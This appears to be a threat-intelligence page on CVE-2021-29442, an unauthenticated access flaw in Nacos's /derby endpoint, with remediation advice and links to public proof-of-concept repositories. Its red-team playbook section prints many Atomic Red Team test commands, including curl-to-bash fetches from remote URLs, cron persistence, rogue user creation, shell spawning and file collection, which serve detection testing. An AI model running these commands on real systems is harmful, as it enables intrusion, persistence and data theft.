CVE-2021-29442
Overview
This vulnerability is an authentication bypass affecting the ConfigOpsController component of Alibaba Nacos prior to version 1.4.1. The root cause is the absence of proper access control on the /derby endpoint, which remains unprotected by security annotations unlike other management endpoints. This flaw specifically impacts installations using the embedded Derby database storage configuration.
Vulnerability Description
Nacos is a platform designed for dynamic service discovery and configuration and service management. In Nacos before version 1.4.1, the ConfigOpsController lets the user perform management operations like querying the database or even wiping it out. While the /data/remove endpoint is properly protected with the @Secured annotation, the /derby endpoint is not protected and can be openly accessed by unauthenticated users. These endpoints are only valid when using embedded storage (derby DB) so this issue should not affect those installations using external storage (e.g. mysql)
Impact
An unauthenticated attacker with network access can exploit the unprotected /derby endpoint to perform unauthorized management operations on the embedded Derby database, including querying or deleting data. This allows potential data exposure or loss without requiring any user interaction or prior authentication, as indicated by CVSS vector AV:N/AC:L/PR:N/UI:N. The impact is limited to deployments using embedded storage, potentially resulting in data integrity compromise or service disruption.
Solution
Upgrade Alibaba Nacos to version 1.4.1 or later, where the /derby endpoint is secured with appropriate access controls as detailed in the vendor's GitHub advisory https://github.com/alibaba/nacos/pull/4517. Follow the instructions in the referenced GitHub advisory GHSA-36hp-jr8h-556f for patch application. For environments using embedded Derby storage, ensure that all management endpoints are properly secured or disable embedded storage in favor of external databases to mitigate exposure.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Nacos platform arises from inadequate access controls on specific endpoints, particularly the /derby endpoint, which is not secured against unauthorized access. This oversight allows unauthenticated users to perform sensitive operations, including querying the database and potentially wiping it entirely. The presence of the @Secured annotation on the /data/remove endpoint indicates an awareness of the need for protection; however, the lack of similar safeguards on the /derby endpoint exposes a critical gap in security. This issue is particularly concerning for installations utilizing embedded storage, such as the Derby database, as it enables malicious actors to exploit this weakness without needing valid credentials.
Exploitation of this vulnerability can occur through various attack vectors. An attacker could leverage automated scripts or manual techniques to send requests to the unsecured /derby endpoint, gaining access to sensitive database operations. Once inside, they could execute commands that might lead to data exfiltration, corruption, or complete deletion of the database. The simplicity of accessing this endpoint without authentication means that even attackers with limited technical skills could potentially exploit the vulnerability, making it a low-barrier entry point for malicious activities. Furthermore, the risk escalates in environments where Nacos is deployed in critical infrastructure or service-oriented architectures, where the integrity and availability of configuration data are paramount.
The real-world impact of this vulnerability can be significant, particularly for organizations relying on Nacos for service discovery and management. A successful attack could result in the loss of critical configuration data, leading to service disruptions and operational downtime. This could have cascading effects on business operations, especially in environments that depend on continuous availability and reliability. The financial implications could include not only direct costs associated with recovery and remediation but also potential reputational damage and loss of customer trust. Organizations may face regulatory scrutiny if sensitive data is compromised, further exacerbating the business risk associated with this vulnerability.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. First, conducting a thorough security audit of Nacos installations is essential to identify any unsecured endpoints and assess the overall security posture. Implementing strict access controls and authentication mechanisms for all endpoints, particularly those that interact with sensitive data, is crucial. Organizations should also consider deploying network segmentation and firewalls to limit exposure to the Nacos service from untrusted networks. Regularly updating the Nacos platform to the latest version, which includes security patches, is vital to ensure that known vulnerabilities are addressed. Additionally, continuous monitoring and logging of access to critical endpoints can help detect unauthorized attempts to exploit the vulnerability, allowing for timely incident response.
In conclusion, the vulnerability in the Nacos platform highlights the importance of robust access controls and security practices in service management environments. The potential for exploitation poses significant risks to organizations, emphasizing the need for proactive measures to safeguard against unauthorized access. By adopting comprehensive detection and mitigation strategies, organizations can enhance their security posture and protect their critical assets from emerging threats.
CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting the Nacos vulnerability CVE-2021-29442. Our telemetry indicates a significant surge in scanning and probing activities aimed at the unprotected /derby endpoint, suggesting increased attacker interest and reconnaissance efforts. Concurrently, new proof-of-concept exploits have emerged publicly, broadening the accessibility of attack tools for less sophisticated threat actors. Although the EPSS score remains high and stable, this uptick in active exploitation attempts elevates the immediate risk to organizations still operating vulnerable Nacos instances with embedded Derby storage. The increased adversary activity underscores the urgency for defenders to prioritize detection and monitoring of anomalous access patterns to this endpoint. While no widespread ransomware campaigns have been directly linked to this vulnerability yet, the growing exploitation trend could facilitate initial access vectors for opportunistic threat groups. Overall, the threat level has intensified from moderate to high due to the combination of increased exploitation activity and expanded exploit availability.
Update 2 — June 16, 2026
CSURFACE threat intelligence has identified a marked escalation in exploitation attempts targeting the unprotected /derby endpoint in vulnerable Nacos instances. This surge coincides with the emergence of new proof-of-concept exploits publicly available on GitHub, which have lowered the technical barrier for adversaries to conduct unauthorized management operations, including potential database manipulation or destruction. Despite a declining EPSS score indicating a slight reduction in overall exploit likelihood, our telemetry reveals increased adversary interest and activity, suggesting targeted campaigns or opportunistic scanning efforts are intensifying. This divergence underscores a nuanced threat landscape where exploitability metrics alone may underestimate active exploitation risks. Consequently, the threat level for organizations running embedded Derby storage with affected Nacos versions remains elevated, as attackers leverage these accessible exploits to gain initial footholds or disrupt service availability. The evolving exploitation trend demands heightened vigilance in monitoring anomalous access patterns to the /derby endpoint, as the expanding exploit toolkit broadens the attacker base and attack surface.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Alibaba | Nacos | All |
cpe:2.3:a:alibaba:nacos:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
VictorShem/QVD-2024-26473
QVD-2024-26473 && CVE-2021-29442
|
VictorShem | 3 | 0 | 2024-07-31 | View |
|
nanaao/cve-2021-29442-Nacos-Derby-rce-exp
Nacos Derby命令执行漏洞利用脚本
|
nanaao | 0 | 1 | 2024-11-25 | View |
Threat Feed
31 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
osascript -e 'tell application "Finder"' -e 'set destinationFolderPath to POSIX file "#{destination_path}"' -e 'set notesFolderPath to (path to home folder as text) & "Library:Group Containers:group.com.apple.notes:"' -e 'set notesFolder to folder notesFolderPath' -e 'set notesFiles to {file "NoteStore.sqlite", file "NoteStore.sqlite-shm", file "NoteStore.sqlite-wal"} of notesFolder' -e 'repeat with aFile in notesFiles' -e 'duplicate aFile to folder destinationFolderPath with replacing' -e 'end' -e 'end tell'
cd $HOME
curl -O #{remote_url}/art
curl -O #{remote_url}/gta.db
curl -O #{remote_url}/sqlite_dump.sh
chmod +x sqlite_dump.sh
find . ! -executable -exec bash -c 'if [[ "$(head -c 15 {} | strings)" == "SQLite format 3" ]]; then echo "{}"; ./sqlite_dump.sh {}; fi' \;
$startingDirectory = "#{starting_directory}"
$outputZip = "#{output_zip_folder_path}"
$fileExtensionsString = "#{file_extensions}"
$fileExtensions = $fileExtensionsString -split ", "
New-Item -Type Directory $outputZip -ErrorAction Ignore -Force | Out-Null
Function Search-Files {
param (
[string]$directory
)
$files = Get-ChildItem -Path $directory -File -Recurse | Where-Object {
$fileExtensions -contains $_.Extension.ToLower()
}
return $files
}
$foundFiles = Search-Files -directory $startingDirectory
if ($foundFiles.Count -gt 0) {
$foundFilePaths = $foundFiles.FullName
Compress-Archive -Path $foundFilePaths -DestinationPath "$outputZip\data.zip"
Write-Host "Zip file created: $outputZip\data.zip"
} else {
Write-Host "No files found with the specified extensions."
}
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
echo "#{command}" > /etc/cron.d/#{cron_script_name}
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-29442 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/alibaba/nacos/issues/4463 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/advisories/GHSA-36hp-jr8h-556f |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/alibaba/nacos/pull/4517 |